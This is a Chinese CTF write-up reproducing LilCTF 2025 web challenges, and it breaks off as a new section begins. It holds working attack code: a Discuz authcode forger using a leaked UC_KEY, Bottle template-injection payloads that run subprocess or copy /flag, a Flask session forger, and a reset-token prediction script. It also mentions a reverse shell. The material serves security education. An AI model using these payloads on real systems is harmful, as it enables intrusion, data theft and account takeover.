我曾有一份工作(复现) https://lil-house.feishu.cn/wiki/OfE7wKpVwixK6ukHkzqckV8TnmP
dirsearch 扫目录,得到 www.zip,在 www.zip 里面泄露了 UC_KEY,可以使用这个key去调用api的接口。
UC_KEY是Discuz! UCenter 的通信密钥。
接口的功能需要代码审计,不只有下面这个路由有这个功能
把 api/db/dbbak.php 丢给AI审能得到脚本
在 api/db/dbbak.php里,可以备份数据库,且备份后的路径是可访问
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 if ($get['method' ] == 'export' ) { // 如果传入的参数 method 等于 export,就执行导出逻辑 $db->query('SET SQL_QUOTE_SHOW_CREATE=0' , 'SILENT' ); // 设置 MySQL 的 SHOW CREATE TABLE 不使用反引号(让导出结果更简洁) // 'SILENT' 表示执行失败也不会报错 $time = date("Y-m-d H:i:s" , $timestamp); // 把时间戳格式化成人类可读的时间,用于记录导出时间 $tables = array(); // 初始化表名数组 $tables = arraykeys2(fetchtablelist($tablepre), 'Name' ); // 获取所有表名(fetchtablelist 按表前缀 $tablepre 获取) // arraykeys2(..., 'Name' ) 提取结果中的 'Name' 字段作为表名列表 if ($apptype == 'discuz' ) { // 如果是 Discuz! 环境 $query = $db->query("SELECT datatables FROM {$tablepre}plugins WHERE datatables<>''" ); // 查询 plugins 表,取出 datatables 字段(插件可能会自己创建数据表) while ($plugin = $db->fetch_array($query)) { // 遍历每一个插件记录 foreach(explode(',' , $plugin['datatables' ]) as $table) { // 把 datatables 按逗号分隔成一个个表名 if ($table = trim($table)) { // 去掉空格,确保表名有效 $tables[] = $table; // 把插件的表名加入到 $tables 列表里 } } } } if ($apptype == 'discuzx' ) { // 如果是 Discuz! X 环境(新版) $query = $db->query("SELECT datatables FROM {$tablepre}common_plugin WHERE datatables<>''" ); // 查询 common_plugin 表,Discuz!X 把插件信息放在这个表里 while ($plugin = $db->fetch_array($query)) { // 遍历每一个插件记录 foreach(explode(',' , $plugin['datatables' ]) as $table) { // 把 datatables 按逗号分隔成一个个表名 if ($table = trim($table)) { // 去掉空格,确保表名有效 $tables[] = $table; // 把插件的表名加入到 $tables 列表里 } } } } }
这就是典型的“数据库备份”功能,很多 CMS、论坛系统(Discuz、PhpMyAdmin、ECShop)里都有类似逻辑。
为什么备份后的路径可访问备份文件的存放位置 通常会写到网站目录下(例如 /api/db/backup/2025-08-23.sql)。如果没做权限控制,这个文件 可以通过 URL 直接下载 。开发者为了方便恢复数据库,把导出文件直接放在了 Web 根目录下 。并且没有做 访问控制(鉴权/随机命名/移动到非 Web 目录) 。结果就是任何人都可以通过 URL 下载备份文件。
调用 export 方法即可
code参数的加解密要抄源码里的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 <?php function _authcode ($string , $operation = 'DECODE' , $key = '' , $expiry = 0 ) { $ckey_length = 4 ; $key = md5 ($key ? $key : UC_KEY);$keya = md5 (substr ($key , 0 , 16 ));$keyb = md5 (substr ($key , 16 , 16 ));$keyc = $ckey_length ? ($operation == 'DECODE' ? substr ($string , 0 , $ckey_length ): substr (md5 (microtime ()), -$ckey_length )) : '' ;$cryptkey = $keya .md5 ($keya .$keyc );$key_length = strlen ($cryptkey );$string = $operation == 'DECODE' ? base64_decode (substr ($string , $ckey_length )) : sprintf ('%010d' , $expiry ? $expiry + time () : 0 ).substr (md5 ($string .$keyb ), 0 , 16 ).$string ;$string_length = strlen ($string );$result = '' ;$box = range (0 , 255 );$rndkey = array ();for ($i = 0 ; $i <= 255 ; $i ++) { $rndkey [$i ] = ord ($cryptkey [$i % $key_length ]); } for ($j = $i = 0 ; $i < 256 ; $i ++) { $j = ($j + $box [$i ] + $rndkey [$i ]) % 256 ; $tmp = $box [$i ]; $box [$i ] = $box [$j ]; $box [$j ] = $tmp ; } for ($a = $j = $i = 0 ; $i < $string_length ; $i ++) { $a = ($a + 1 ) % 256 ; $j = ($j + $box [$a ]) % 256 ; $tmp = $box [$a ]; $box [$a ] = $box [$j ]; $box [$j ] = $tmp ; $result .= chr (ord ($string [$i ]) ^ ($box [($box [$a ] + $box [$j ]) % 256 ])); } if ($operation == 'DECODE' ) { if (((int )substr ($result , 0 , 10 ) == 0 || (int )substr ($result , 0 , 10 ) - time () > 0 ) && substr ($result , 10 , 16 ) === substr (md5 (substr ($result , 26 ).$keyb ), 0 , 16 )) { return substr ($result , 26 ); } else { return '' ; } } else { return $keyc .str_replace ('=' , '' , base64_encode ($result )); } } $UC_KEY = 'N8ear1n0q4s646UeZeod130eLdlbqfs1BbRd447eq866gaUdmek7v2D9r9EeS6vb' ;$params = "time=" .time ()."&method=export" ;$code = _authcode ($params , 'ENCODE' , $UC_KEY );echo $code ."\n" ;parse_str (_authcode ($code , 'DECODE' , $UC_KEY ), $get );echo var_dump ($get );
1 2 GET /api/db/dbbak.php?apptype=discuzx&code=908 bPaTwsXdV1cbWMEpmrx1pV/0 XXNWN5jc4SbhUU4E5yMtVjlp9ph11SmTtJJ9WpqmPdeBjvOs6sA HTTP/1.1
点击网址,下载 sql 文件。
丢到赛博厨师里进行 hex 解码。
LilCTF-2025 Writeup
LILCTF web wp - fortune_h2c - 博客园
[LilCTF 2025]ez_bottle 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 from bottle import route, run, template, post, request, static_file, errorimport osimport zipfileimport hashlibimport timeUPLOAD_DIR = os.path.join(os.path.dirname(__file__), 'uploads' ) os.makedirs(UPLOAD_DIR, exist_ok=True ) STATIC_DIR = os.path.join(os.path.dirname(__file__), 'static' ) MAX_FILE_SIZE = 1 * 1024 * 1024 BLACK_DICT = ["{" , "}" , "os" , "eval" , "exec" , "sock" , "<" , ">" , "bul" , "class" , "?" , ":" , "bash" , "_" , "globals" , "get" , "open" ] def contains_blacklist (content ): return any (black in content for black in BLACK_DICT) def is_symlink (zipinfo ): return (zipinfo.external_attr >> 16 ) & 0o170000 == 0o120000 def is_safe_path (base_dir, target_path ): return os.path.realpath(target_path).startswith(os.path.realpath(base_dir)) @route('/' ) def index (): return static_file('index.html' , root=STATIC_DIR) @route('/static/<filename>' ) def server_static (filename ): return static_file(filename, root=STATIC_DIR) @route('/upload' ) def upload_page (): return static_file('upload.html' , root=STATIC_DIR) @post('/upload' ) def upload (): zip_file = request.files.get('file' ) if not zip_file or not zip_file.filename.endswith('.zip' ): return 'Invalid file. Please upload a ZIP file.' if len (zip_file.file.read()) > MAX_FILE_SIZE: return 'File size exceeds 1MB. Please upload a smaller ZIP file.' zip_file.file.seek(0 ) current_time = str (time.time()) unique_string = zip_file.filename + current_time md5_hash = hashlib.md5(unique_string.encode()).hexdigest() extract_dir = os.path.join(UPLOAD_DIR, md5_hash) os.makedirs(extract_dir) zip_path = os.path.join(extract_dir, 'upload.zip' ) zip_file.save(zip_path) try : with zipfile.ZipFile(zip_path, 'r' ) as z: for file_info in z.infolist(): if is_symlink(file_info): return 'Symbolic links are not allowed.' real_dest_path = os.path.realpath(os.path.join(extract_dir, file_info.filename)) if not is_safe_path(extract_dir, real_dest_path): return 'Path traversal detected.' z.extractall(extract_dir) except zipfile.BadZipFile: return 'Invalid ZIP file.' files = os.listdir(extract_dir) files.remove('upload.zip' ) return template("文件列表: {{files}}\n访问: /view/{{md5}}/{{first_file}}" , files=", " .join(files), md5=md5_hash, first_file=files[0 ] if files else "nofile" ) @route('/view/<md5>/<filename>' ) def view_file (md5, filename ): file_path = os.path.join(UPLOAD_DIR, md5, filename) if not os.path.exists(file_path): return "File not found." with open (file_path, 'r' , encoding='utf-8' ) as f: content = f.read() if contains_blacklist(content): return "you are hacker!!!nonono!!!" try : return template(content) except Exception as e: return f"Error rendering template: {str (e)} " @error(404 ) def error404 (error ): return "bbbbbboooottle" @error(403 ) def error403 (error ): return "Forbidden: You don't have permission to access this resource." if __name__ == '__main__' : run(host='0.0.0.0' , port=5000 , debug=False )
1 2 3 4 UPLOAD_DIR = .../uploads # 上传的文件存放目录 STATIC_DIR = .../static # 静态文件目录 MAX_FILE_SIZE = 1 * 1024 * 1024 # 1MB 限制 BLACK_DICT = ["{", "}", "os", "eval", "exec", "sock", "<", ">", "bul", "class", "?", ":", "bash", "_", "globals", "get", "open"]
黑名单基本杜绝了 SSTI 的可能。
检查软链接 & 路径穿越
1 2 def is_symlink(zipinfo): return (zipinfo.external_attr >> 16) & 0o170000 == 0o120000
1 2 def is_safe_path(base_dir, target_path): return os.path.realpath(target_path).startswith(os.path.realpath(base_dir))
防止解压 zip 的时候用 ../ 跳出目录(路径穿越攻击)。
路由功能
/upload 上传处理(POST)
必须是 .zip 文件
文件大小不能超过 1MB
用 zipfile.ZipFile 解压时:
解压到一个用 md5(文件名 + 时间) 生成的唯一目录里
返回文件列表,并提示访问路径 /view/<md5>/<filename>
/view/<md5>/<filename>
读取文件内容(纯文本)
如果命中黑名单 → 返回 “you are hacker!!!”
否则调用
1 return template(content)
- **这里的 **`**template()**`** 是 Bottle 框架的模板渲染函数**
- 如果文件内容里是模板语法(类似 `{{...}}`),它会直接执行 **SSTI**
打的过程 % x = “hello world”
x
输出 x, 忽略行尾纯变量,无法利用行尾表达式
过滤花括号和下划线,无法获取对象
一些尝试
1 2 3 4 5 6 7 8 9 10 11 underscore = chr (95 ) builtins = underscore*2 + "builtins" + underscore*2 dict = underscore*2 + "builtins" + underscore*2 fn = getattr (import_name, len ) print (fn([1 ,2 ,3 ,4 ])) builtins = underscore*2 + "builtins" + underscore*2 dict = underscore*2 + "builtins" + underscore*2 fn = builtins.dict ["len" ] print (fn([1 ,2 ,3 ]))
正确思路 一个页面可以上传压缩包,会把他解压放在另一个目录里,并且这个目录可知。
禁止了软链接,路径穿越和 SSTI。
如果总结成这样看,确实是做不出来。但是题目里禁止做的事情,我们一般有两个思路,一是换别的方法做,但是更多情况我们要绕过 bypass 继续用这个事情。当我们上传压缩包的时候,只要是软链接,路径穿越直接上传不上去,那就没办法了。但是我们重新看查看文件的路由:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 @route('/view/<md5>/<filename>' ) def view_file (md5, filename ): file_path = os.path.join(UPLOAD_DIR, md5, filename) if not os.path.exists(file_path): return "File not found." with open (file_path, 'r' , encoding='utf-8' ) as f: content = f.read() if contains_blacklist(content): return "you are hacker!!!nonono!!!" try : return template(content) except Exception as e: return f"Error rendering template: {str (e)} "
这里包含了黑名单,查看到的是"you are hacker!!!nonono!!!",但是实际上他还是渲染了,只是不给你看 。所以我们通过别的文件看就可以了。
bottle 框架里面%可以执行 python 代码。
也就是我们先上传一个名为 1.tpl 的文件,内容是{{! open('/flag').read()}},来获得 flag。
在 /upload 处理函数里:
1 2 3 4 5 current_time = str (time.time()) unique_string = zip_file.filename + current_time md5_hash = hashlib.md5(unique_string.encode()).hexdigest() extract_dir = os.path.join(UPLOAD_DIR, md5_hash) os.makedirs(extract_dir)
UPLOAD_DIR = os.path.join(os.path.dirname(__file__), 'uploads') 也就是说,所有上传文件都放在当前脚本目录下的 uploads/ 目录里。
文件访问逻辑 在 /view/<md5>/<filename> 里:
1 file_path = os.path.join(UPLOAD_DIR, md5, filename)
这就直接把 md5 和 filename 拼接到 uploads/ 目录后面。
所以说这个题目实际上有读取路由和实际 所以访问 /view/4fb95ec572386b780e3374fe83e6352b/1.tpl 的时候, 实际读取的文件就是:
1 uploads/4fb95ec572386b780e3374fe83e6352b/1.tpl
再上传一个内容为:
1 2 % p = 'uploads/f8b86f4621b6cfbf0e2afe65c48664c9/1.tpl' % include(p)
的文件用来读取 flag 就可以了。
bottle.zip
由于一些讨论所以加一点补充:
flag 到底是什么时候被解析的?
出题人的回答是:
第一次传了这个内容,先按代码的流程来会检测blacklist这个内容,也就是尝试解析,这里应该就是没有解析成功因为触发了black,你可以认为是没有解析,第二次include的内容,经过这个black的检测没有触发,include包含了第一次的内容,先解析了include,include再执行了第一次发包的内容,这时候已经不用检查第一次的了,就形成了绕过。
也就是:
第一次解析–>没成功
第二次先include–>跟第一次一样解析但是没有 waf–>成功
考的是二次包含 。
其他解法参考 2025 LilCTF Web部分wp-CSDN博客
因为没禁subprocess,也没禁 sh, 用 subprocess.run() 起一个 sh -c '命令'。所以可以:
1 2 % import subprocess; subprocess.run(['sh' ,'-c' ,'cat /flag | tee static/2.txt' ])
如果回显是空白,说明执行成功了,最后直接访问/static/2.txt即可得到flag。
没复现成功,直接访问 url/static/2.txt 不行,include 也不行,不知道写啥路径。
Lilctf_web_wp(部分) - 冷鸢fleurs - 博客园
zip文件内容:
1 2 % import fileinput % raise Exception('\n'.join(fileinput.input('/flag')))
复现成功。
直接读取flag
前缀 %
在 Jupyter 或 IPython 里,
以 % 开头的命令叫 line magic ,
以 %% 开头的叫 cell magic 。
但这里 % import fileinput 不是标准 magic,实际上是 利用某些模板引擎(比如 Mako、Bottle、Jinja2)中,把 **%** 开头的行当作 Python 语句执行 。 也就是说:
相当于执行:
fileinput.input('/flag')
fileinput.input() 是 Python 的一个工具,可以把文件当作输入流来逐行读取。 相当于:
1 open('/flag').readlines()
raise Exception('\n'.join(...))
它把 /flag 文件的内容拼成一个字符串,抛出异常。
https://lil-house.feishu.cn/wiki/IwnswOcr8iRvHfkxYOMcJXtBnHg
出题人的链接
给了源码,代码的大致就是一个web的文件上传的功能,在前端并没有直接给上传功能,需要自己写脚本,对于上传的内容有template(content)可以解析内容,明显的漏洞点
题目对于上传的文件进行了简单的处理,比如限制文件大小,限制的目录穿越,限制了软链接,所以题目的核心就是利用模板注入绕过waf写入到文件里,进行文件上传最后解析读取文件
对于content的内容有简单的限制,比如最主要的就是把花括号进行了过滤,出题人的本意就是希望利用%进行注入内容,然后把常见的一些过滤了,但是很明显是没有过滤掉import的,所以可以通过导入来进行rce,我提供的思路是进行复制,然后再通过include读取拿到flag,主要是两个方案
方案一:
1 % import shutil;shutil.copy('/flag', './aaa')
方案二:
1 %import subprocess; subprocess.call(['cp', '/flag', './aaa'])
之后就可以include的读取了(很简单吧
[WARM UP] 签到!真实世界的过期问卷(复现)
腾讯问卷的设计/开发者将提示语作为问卷基本信息的一部分,在 meta 路由的响应中。按 F12 打开 DevTools 找到这个报文。
It’s not a bug. It’s a feature.
[WARM UP] 接力!TurboFlash(复现)
Nginx 会屏蔽 /secret 和 /secret/ 后接任意路径的请求,实际上也会屏蔽 /./secret/, /SeCrEt, /%73ecret 等等你能想到的绕过方式。而 Flask 会在访问到 /secret 路由时返回 flag。
我们需要寻找不被 Nginx 认为算是 /secret,但会被 Flask 认为算是 /secret 的路径。
答案:/secret 后跟 \x85 这个字节。不是 %85,而是在 HTTP 报文中直接发出这一个字节。(你可以从 CyberChef 或 010 Editor 中复制它,或者用 socket 或 pwntools 发包。)
path-normalization-bypasses
复现
打开 010
把这些字母数字一个一个敲进去
发送
至于下面的图是怎么做到的我还不知道
Ekko_note 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 ''' @File : app.py @Time : 2066/07/05 19:20:29 @Author : Ekko exec inc. 某牛马程序员 ''' import osimport timeimport uuidimport requestsfrom functools import wrapsfrom datetime import datetimefrom secrets import token_urlsafefrom flask_sqlalchemy import SQLAlchemyfrom werkzeug.security import generate_password_hash, check_password_hashfrom flask import Flask, render_template, redirect, url_for, request, flash, sessionSERVER_START_TIME = time.time() import randomrandom.seed(SERVER_START_TIME) admin_super_strong_password = token_urlsafe() app = Flask(__name__) app.config['SECRET_KEY' ] = 'your-secret-key-here' app.config['SQLALCHEMY_DATABASE_URI' ] = 'sqlite:///site.db' app.config['SQLALCHEMY_TRACK_MODIFICATIONS' ] = False db = SQLAlchemy(app) class User (db.Model): id = db.Column(db.Integer, primary_key=True ) username = db.Column(db.String(20 ), unique=True , nullable=False ) email = db.Column(db.String(120 ), unique=True , nullable=False ) password = db.Column(db.String(60 ), nullable=False ) is_admin = db.Column(db.Boolean, default=False ) time_api = db.Column(db.String(200 ), default='https://api.yyy001.com/api/alltime?timezone=Asia/Shanghai' ) class PasswordResetToken (db.Model): id = db.Column(db.Integer, primary_key=True ) user_id = db.Column(db.Integer, db.ForeignKey('user.id' ), nullable=False ) token = db.Column(db.String(36 ), unique=True , nullable=False ) used = db.Column(db.Boolean, default=False ) def padding (input_string ): byte_string = input_string.encode('utf-8' ) if len (byte_string) > 6 : byte_string = byte_string[:6 ] padded_byte_string = byte_string.ljust(6 , b'\x00' ) padded_int = int .from_bytes(padded_byte_string, byteorder='big' ) return padded_int with app.app_context(): db.create_all() if not User.query.filter_by(username='admin' ).first(): admin = User( username='admin' , email='admin@example.com' , password=generate_password_hash(admin_super_strong_password), is_admin=True ) db.session.add(admin) db.session.commit() def login_required (f ): @wraps(f ) def decorated_function (*args, **kwargs ): if 'user_id' not in session: flash('请登录' , 'danger' ) return redirect(url_for('login' )) return f(*args, **kwargs) return decorated_function def admin_required (f ): @wraps(f ) def decorated_function (*args, **kwargs ): if 'user_id' not in session: flash('请登录' , 'danger' ) return redirect(url_for('login' )) user = User.query.get(session['user_id' ]) if not user.is_admin: flash('你不是admin' , 'danger' ) return redirect(url_for('home' )) return f(*args, **kwargs) return decorated_function def check_time_api (): user = User.query.get(session['user_id' ]) try : response = requests.get(user.time_api) data = response.json() datetime_str = data.get('data' , '' ).get('datetime' , '' ) if datetime_str: print (datetime_str) current_time = datetime.fromisoformat(datetime_str) return current_time.year >= 2066 except Exception as e: return None return None @app.route('/' ) def home (): return render_template('home.html' ) @app.route('/server_info' ) @login_required def server_info (): return { 'server_start_time' : SERVER_START_TIME, 'current_time' : time.time() } @app.route('/register' , methods=['GET' , 'POST' ] ) def register (): if request.method == 'POST' : username = request.form.get('username' ) email = request.form.get('email' ) password = request.form.get('password' ) confirm_password = request.form.get('confirm_password' ) if password != confirm_password: flash('密码错误' , 'danger' ) return redirect(url_for('register' )) existing_user = User.query.filter_by(username=username).first() if existing_user: flash('已经存在这个用户了' , 'danger' ) return redirect(url_for('register' )) existing_email = User.query.filter_by(email=email).first() if existing_email: flash('这个邮箱已经被注册了' , 'danger' ) return redirect(url_for('register' )) hashed_password = generate_password_hash(password) new_user = User(username=username, email=email, password=hashed_password) db.session.add(new_user) db.session.commit() flash('注册成功,请登录' , 'success' ) return redirect(url_for('login' )) return render_template('register.html' ) @app.route('/login' , methods=['GET' , 'POST' ] ) def login (): if request.method == 'POST' : username = request.form.get('username' ) password = request.form.get('password' ) user = User.query.filter_by(username=username).first() if user and check_password_hash(user.password, password): session['user_id' ] = user.id session['username' ] = user.username session['is_admin' ] = user.is_admin flash('登陆成功,欢迎!' , 'success' ) return redirect(url_for('dashboard' )) else : flash('用户名或密码错误!' , 'danger' ) return redirect(url_for('login' )) return render_template('login.html' ) @app.route('/logout' ) @login_required def logout (): session.clear() flash('成功登出' , 'info' ) return redirect(url_for('home' )) @app.route('/dashboard' ) @login_required def dashboard (): return render_template('dashboard.html' ) @app.route('/forgot_password' , methods=['GET' , 'POST' ] ) def forgot_password (): if request.method == 'POST' : email = request.form.get('email' ) user = User.query.filter_by(email=email).first() if user: token = str (uuid.uuid8(a=padding(user.username))) reset_token = PasswordResetToken(user_id=user.id , token=token) db.session.add(reset_token) db.session.commit() flash(f'密码恢复token已经发送,请检查你的邮箱' , 'info' ) return redirect(url_for('reset_password' )) else : flash('没有找到该邮箱对应的注册账户' , 'danger' ) return redirect(url_for('forgot_password' )) return render_template('forgot_password.html' ) @app.route('/reset_password' , methods=['GET' , 'POST' ] ) def reset_password (): if request.method == 'POST' : token = request.form.get('token' ) new_password = request.form.get('new_password' ) confirm_password = request.form.get('confirm_password' ) if new_password != confirm_password: flash('密码不匹配' , 'danger' ) return redirect(url_for('reset_password' )) reset_token = PasswordResetToken.query.filter_by(token=token, used=False ).first() if reset_token: user = User.query.get(reset_token.user_id) user.password = generate_password_hash(new_password) reset_token.used = True db.session.commit() flash('成功重置密码!请重新登录' , 'success' ) return redirect(url_for('login' )) else : flash('无效或过期的token' , 'danger' ) return redirect(url_for('reset_password' )) return render_template('reset_password.html' ) @app.route('/execute_command' , methods=['GET' , 'POST' ] ) @login_required def execute_command (): result = check_time_api() if result is None : flash("API死了啦,都你害的啦。" , "danger" ) return redirect(url_for('dashboard' )) if not result: flash('2066年才完工哈,你可以穿越到2066年看看' , 'danger' ) return redirect(url_for('dashboard' )) if request.method == 'POST' : command = request.form.get('command' ) os.system(command) return redirect(url_for('execute_command' )) return render_template('execute_command.html' ) @app.route('/admin/settings' , methods=['GET' , 'POST' ] ) @admin_required def admin_settings (): user = User.query.get(session['user_id' ]) if request.method == 'POST' : new_api = request.form.get('time_api' ) user.time_api = new_api db.session.commit() flash('成功更新API!' , 'success' ) return redirect(url_for('admin_settings' )) return render_template('admin_settings.html' , time_api=user.time_api) if __name__ == '__main__' : app.run(debug=False , host="0.0.0.0" )
出题人讲解:LilCTF 2025 web ekko_note 讲解_哔哩哔哩_bilibili
非预期 通过SECRET_KEY绕过flask的session认证_flask-unsign-CSDN博客
在 Web 应用中,session用于存储用户的状态信息,如登录状态、用户 ID、权限等级等。这些信息会被存储在用户的浏览器端,以便在不同页面之间保持状态。
SECRET_KEY是 Flask 应用程序中的一个关键值,用于对session数据进行加密和签名,确保会话数据的完整性和安全性。
当你通过 Flask 存储数据到 session 时,Flask 会将数据序列化成 JSON 格式。例如,{"user_id": 1, "username": "admin"}。
Flask 会对这个 JSON 数据进行加密,并使用 SECRET_KEY 对其进行签名。签名是用来防止数据被篡改。它使用 SECRET_KEY 和加密数据生成一个哈希值。加密后的数据和签名会组成一个完整的 session Cookie。这个 Cookie 会被发送到客户端(用户的浏览器),并在后续请求时随同一起发送回来。通常形式是:
1 session = eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.Yd73Rp7y1exXJ03_w8IQcwRPoxUq3_2l0Ip7eZT2vjs
其中 eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0 是数据部分(经过 Base64 编码),Yd73Rp7y1exXJ03_w8IQcwRPoxUq3_2l0Ip7eZT2vjs 是签名部分(经过 HMAC 签名)。
每次请求时,服务器会收到这个 session Cookie。Flask 会使用 SECRET_KEY 和签名部分来验证 session 数据是否有效。如果数据部分被篡改过,签名将不会匹配,从而验证失败。
而源码里面写了:
1 2 3 4 5 admin_super_strong_password = token_urlsafe() app = Flask(__name__) app.config['SECRET_KEY' ] = 'your-secret-key-here' app.config['SQLALCHEMY_DATABASE_URI' ] = 'sqlite:///site.db' app.config['SQLALCHEMY_TRACK_MODIFICATIONS' ] = False
我们知道了 SECRET_KEY,就可以伪造 session 数据。
对于flask的session,学到了
:::info 步骤1:数据序列化:将会话数据(如 {“username”: “alice”, “is_login”: True})序列化为 JSON 格式({“username”:”alice”,”is_login”:True})。
步骤2:Base64编码:将 JSON 字符串通过 Base64 编码为“数据部分”(如 eyJ1c2VybmFtZSI6ImFsaWNlIiwiaXNfbG9naW4iOnRydWV9)。
步骤3:生成HMAC签名:使用 secret_key 对“数据部分”生成 HMAC 签名(“签名部分”,如 YlZ4Vg)。
步骤4:组装Cookie:将“数据部分”与“签名部分”用 . 连接,形成完整的 Cookie 值(数据部分.签名部分)。
步骤5:返回客户端:通过响应头 Set-Cookie: session=数据部分.签名部分; … 将 Cookie 发送给客户端。
:::
1 2 3 4 5 if user and check_password_hash(user.password, password): session['user_id' ] = user.id session['username' ] = user.username session['is_admin' ] = user.is_admin flash('登陆成功,欢迎!' , 'success' )
因为登录并不直接检查数据库中的用户密码,只要 session 中包含这三个字段(且签名正确),用户就可以被认为是登录状态。所以,你可以通过伪造一个合法的 session 来绕过登录认证。
poc:
1 2 3 4 5 6 7 8 9 from flask_unsign import sessionSECRET_KEY = 'your-secret-key-here' fake_session = session.sign( {'user_id' : 1 , 'username' : 'admin' , 'is_admin' : True }, SECRET_KEY ) print (fake_session)
思路是:
/execute_command无回显执行命令->check_time_api()要 2066 年以后->/admin/settings修改时间 api->user = User.query.get(session['user_id'])要获得 admin 的 session
登录判断依赖 Flask 的 session:
1 2 3 session['user_id'] = user.id session['username'] = user.username session['is_admin'] = user.is_admin
而源码开始给了 key,于是可以用 flask-unsign 来伪造签名:
1 2 3 app.config['SECRET_KEY'] = 'your-secret-key-here' app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///site.db' app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
写一个脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from flask_unsign import signSECRET_KEY = "your-secret-key-here" data = { "user_id" : 1 , "username" : "admin" , "is_admin" : True } cookie = sign(data, SECRET_KEY) print ("生成的 admin cookie:" , cookie)
带着这个 session 进入首页
进入管理员设置,进入时间 api
1 2 3 4 5 6 { "date" : "2025-08-16 14:08:42" , "weekday" : "星期六" , "timestamp" : 1755324522 , "remark" : "任何情况请联系QQ:3295320658 微信服务号:顺成网络" }
改成 2066 年,放到自己的服务器上开启服务
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from flask import Flask, jsonifyapp = Flask(__name__) def time_data (): return jsonify({ "date" : "2067-08-15 23:17:07" , "weekday" : "星期五" , "timestamp" : 1755271027 , "remark" : "任何情况请联系QQ:3295320658 微信服务号:顺成网络" }) @app.route('/' ) def index (): return time_data() @app.route('/api/alltime' ) def api_time (): return time_data() if __name__ == '__main__' : app.run(host='0.0.0.0' , port=8000 )
把时间 api 改成自己 VPS 的。
在/execute_command执行命令用 python 反弹 shell
收到 shell,拿到 flag。
LILCTF web wp - fortune_h2c - 博客园
遗留问题 flask_unsign和itsdangerous的库生成的session怎么不一样
通过secretkey 绕过flask的session认证 - SecPulse.COM | 安全脉搏
GitHub - pallets/itsdangerous: Safely pass trusted data to untrusted environments and back.
Baking Flask cookies with your secrets
预期 1 2 import random random.seed (SERVER_START_TIME)
由于 random 的种子是确定的,random 是全局的,所以:
1 token = str (uuid.uuid8 (a=padding (user.username)))
uuid8 源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 def uuid8 (a=None , b=None , c=None ): """Generate a UUID from three custom blocks. * 'a' is the first 48-bit chunk of the UUID (octets 0-5); * 'b' is the mid 12-bit chunk (octets 6-7); * 'c' is the last 62-bit chunk (octets 8-15). When a value is not specified, a pseudo-random value is generated. """ if a is None : import random a = random.getrandbits(48 ) if b is None : import random b = random.getrandbits(12 ) if c is None : import random c = random.getrandbits(62 ) int_uuid_8 = (a & 0xffff_ffff_ffff ) << 80 int_uuid_8 |= (b & 0xfff ) << 64 int_uuid_8 |= c & 0x3fff_ffff_ffff_ffff int_uuid_8 |= _RFC_4122_VERSION_8_FLAGS return UUID._from_int(int_uuid_8)
这里的 token 也是可控的。
padding 是补全的函数,复制过来。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import uuid import random import random random.seed (1756627535.2787912 ) def padding (input_string): byte_string = input_string.encode ('utf-8' ) if len (byte_string) > 6 : byte_string = byte_string[:6 ] padded_byte_string = byte_string.ljust (6 , b'\x00' ) padded_int = int .from_bytes (padded_byte_string, byteorder='big' ) return padded_int a=uuid.uuid8 (a=padding ('admin' )) print (a)
这道题非常推荐去看出题人的视频认真看,教了怎么样通过提示去查阅 Python doc 搞到源码。
遗留问题 复现的时候 token 一直不对,在环境变量没问题的情况下,添加 3.14 解释器显示的是 3.10……
Your Uns3r 这道题我们得分旧版代码和新版代码,因为比赛的时候和赛后出题人放出来的源码是不一样的。
旧版 先放比赛时候的:
